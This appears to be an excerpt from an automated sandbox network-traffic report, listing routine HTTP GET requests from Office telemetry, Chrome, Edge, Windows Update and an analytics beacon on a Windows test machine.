Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ob33m3YsYDGcS77&MD=6go2PWKd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732827889&P2=404&P3=2&P4=QwHNoEvLJ7SR%2fbT%2faMBh5bbQMrXdg8YXmk8urtb7KOvlg%2fV0lrKHSnn%2bCrP0KtC07Od2P%2bw01A0ojX8ri6j4bw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: xQiRx4S5QkWQr5pc0p/7b9Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
